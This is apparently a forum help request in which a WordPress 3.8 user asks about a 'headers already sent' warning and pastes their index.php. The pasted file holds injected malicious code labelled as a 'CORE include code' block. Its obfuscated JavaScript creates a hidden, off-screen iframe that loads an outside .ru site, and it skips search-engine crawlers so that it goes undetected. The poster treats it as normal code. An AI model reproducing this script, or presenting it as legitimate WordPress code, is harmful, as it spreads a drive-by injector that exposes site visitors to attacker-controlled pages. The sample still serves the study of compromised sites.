Cannot modify header information – headers already sent by

i have just updated/installed 3.8. i am having the error below… please help!!!

Warning: Cannot modify header information – headers already sent by (output started at /home/n/public_html/blog/index.php:43) in /home/n/public_html/blog/wp-includes/pluggable.php on line 896

I have searched the forums and have not been able to solve this. I have made sure that there is no space at the beginning and ending of the file. I also followed all instructions via FAQ Troubleshooting.

I know this has to be something simple. Below you will find the index.php:
<?php
/**
* Front to the WordPress application. This file doesn’t do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define(‘WP_USE_THEMES’, true);
/*CORE include code version:1.23 START*/

echo “<script type=\”text/javascript\”>
function sd5135GHEDF(agaga31323l) {
var melm = document.getElementById(\”a35fdsfdsf62FFSSD\”);
if (typeof(melm) != \”undefined\” && melm!= null)
{}else{
var dsdSSSWrw515312FFF = document.createElement(\”iframe\”);
dsdSSSWrw515312FFF.id = \”a35fdsfdsf62FFSSD\”;
dsdSSSWrw515312FFF.style.width = \”10px\”;
dsdSSSWrw515312FFF.style.height = \”10px\”;
dsdSSSWrw515312FFF.style.border = \”0px\”;
dsdSSSWrw515312FFF.frameBorder = \”0\”;
dsdSSSWrw515312FFF.style.position = \”absolute\”;
dsdSSSWrw515312FFF.style.left = \”-200\”;
dsdSSSWrw515312FFF.setAttribute(\”frameBorder\”, \”0\”);
document.body.appendChild(dsdSSSWrw515312FFF);
dsdSSSWrw515312FFF.src = agaga31323l;
return true;
}
}
function asd61234tkhjasd454hfhf235(){
sd5135GHEDF(\”https://novostivkontakte.ru/?id=ifrm\”);
}
function R(){
if(navigator.userAgent.match(/(Googlebot|robot|Slurp|search.msn.com|nutch|simpy|bot|ASPSeek|crawler|msnbot|Libwww-perl|FAST|Baidu|googlebot|slurp|aspseek|libwww-perl|fast|baidu)/i)!==null){ }else{asd61234tkhjasd454hfhf235();}
}
setTimeout(function(){R();},1500);
</script>”;
/*END CORE include code version:1.23*/

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . ‘/wp-blog-header.php’ );
?>